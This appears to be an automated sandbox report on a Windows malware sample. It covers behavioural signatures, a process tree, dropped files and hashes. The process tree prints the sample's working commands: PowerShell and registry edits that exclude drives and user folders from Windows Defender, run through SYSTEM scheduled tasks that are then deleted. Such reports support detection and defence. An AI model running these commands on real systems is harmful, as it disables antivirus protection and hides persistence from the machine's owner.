Analysis

  • max time kernel
    151s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/10/2026, 18:27

General

  • Target
    instdoload.1.3.15.exe
  • Size 38.8MB
  • Sample261003-w3ydgavbme
  • SHA256 218e743d49c1060a7d9e1d250ed4fb4372aefc2a0892fadd70f09c4f68a25d16
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.15.exe
    "C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.15.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:3544
  • C:\Users\Public\qSi6uf\7KfZRj.exe
    "C:\Users\Public\qSi6uf\7KfZRj.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious use of AdjustPrivilegeToken
      PID:1424
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qSi6uf\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:976
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qSi6uf\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2192
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2356
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5892
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1176
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2496
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3568
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1056
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3832
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3312
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:984
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4288
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4548
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3016
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3184
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4684
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4544
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2324
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2736
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qSi6uf" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4764
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qSi6uf" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3540
                      • C:\Users\Public\qSi6uf\7KfZRj.exe
                        "C:\Users\Public\qSi6uf\7KfZRj.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:6064
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5428
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2896
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4952
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2428
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5720
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:6084
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3752

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 9ab9d4ea312b635666254f2936d7535529a1d0220b822240810375cf69c01779
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 02775064ceeaed84773b0414e95e992d5a5e709f888fa74b1fbef43e9c1be063
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 df876e3028910922ff9acaffc45e54b6a4fdc86e727bac843fb35405c650983b
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 69529d4cc1d3a70400ea35b35b9ed515d2c70f50becd1dbe9e5968ece21b7f8c
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_jwakhuyb.et1.ps1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jwakhuyb.et1.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              7KfZRj.exe

                              • Path C:\Users\Public\qSi6uf\7KfZRj.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\qSi6uf\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 2e7162b618a429382ceba0866a104a8b19d9893f7e3a1cf78a6bc0a36245a16d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\qSi6uf\adoresd.dat
                              • Size 4.7MB
                              • SHA256 97d84b2308bbcd71037fec254a4a9016356501ea182f2102ed455faf08d31f99
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\qSi6uf\msadox.tb
                              • Size 8KB
                              • SHA256 627f08d5ad26ffc21dc86574bd8a75dca7995cbe0507559bddcced639880978e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1424-604-0x000001D9EEA90000-0x000001D9EEAB2000-memory.dmp

                              memory/1424-612-0x000001D9EEB70000-0x000001D9EEC22000-memory.dmp

                              memory/1424-611-0x000001D9EEB50000-0x000001D9EEB6E000-memory.dmp

                              memory/1424-613-0x000001D9EEB40000-0x000001D9EEB4A000-memory.dmp

                              memory/3544-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/3544-524-0x00007FF8E1130000-0x00007FF8E1142000-memory.dmp

                              memory/3544-523-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/3544-503-0x00007FF8E1130000-0x00007FF8E1142000-memory.dmp

                              memory/3544-1-0x00000000008D0000-0x00000000008DC000-memory.dmp

                              memory/5876-556-0x000001EBFE630000-0x000001EBFE6BA000-memory.dmp

                              memory/5876-544-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-560-0x000001EBFE630000-0x000001EBFE6BA000-memory.dmp

                              memory/5876-558-0x000001EBFE630000-0x000001EBFE6BA000-memory.dmp

                              memory/5876-549-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-555-0x000001EBFE490000-0x000001EBFE4DE000-memory.dmp

                              memory/5876-562-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-564-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-545-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-538-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-543-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-542-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-529-0x00007FF8E9A70000-0x00007FF8E9A72000-memory.dmp

                              memory/5876-559-0x000001EBFE630000-0x000001EBFE6BA000-memory.dmp

                              memory/5876-530-0x00007FF8C6E80000-0x00007FF8C739E000-memory.dmp

                              memory/5876-535-0x000001EBFF0E0000-0x000001EBFF967000-memory.dmp

                              memory/5876-537-0x00007FF8E9A80000-0x00007FF8E9A82000-memory.dmp

                              memory/6064-579-0x0000017CE67F0000-0x0000017CE7077000-memory.dmp

                              memory/6064-587-0x0000017CE67F0000-0x0000017CE7077000-memory.dmp

                              memory/6064-589-0x0000017CE67F0000-0x0000017CE7077000-memory.dmp

                              memory/6064-590-0x00007FF8E9A70000-0x00007FF8E9A72000-memory.dmp

                              memory/6064-588-0x0000017CE67F0000-0x0000017CE7077000-memory.dmp

                              memory/6064-586-0x0000017CE67F0000-0x0000017CE7077000-memory.dmp

                              memory/6064-582-0x0000017CE67F0000-0x0000017CE7077000-memory.dmp

                              memory/6064-581-0x00007FF8E9A80000-0x00007FF8E9A82000-memory.dmp

                              memory/6064-575-0x00007FF8C6E80000-0x00007FF8C739E000-memory.dmp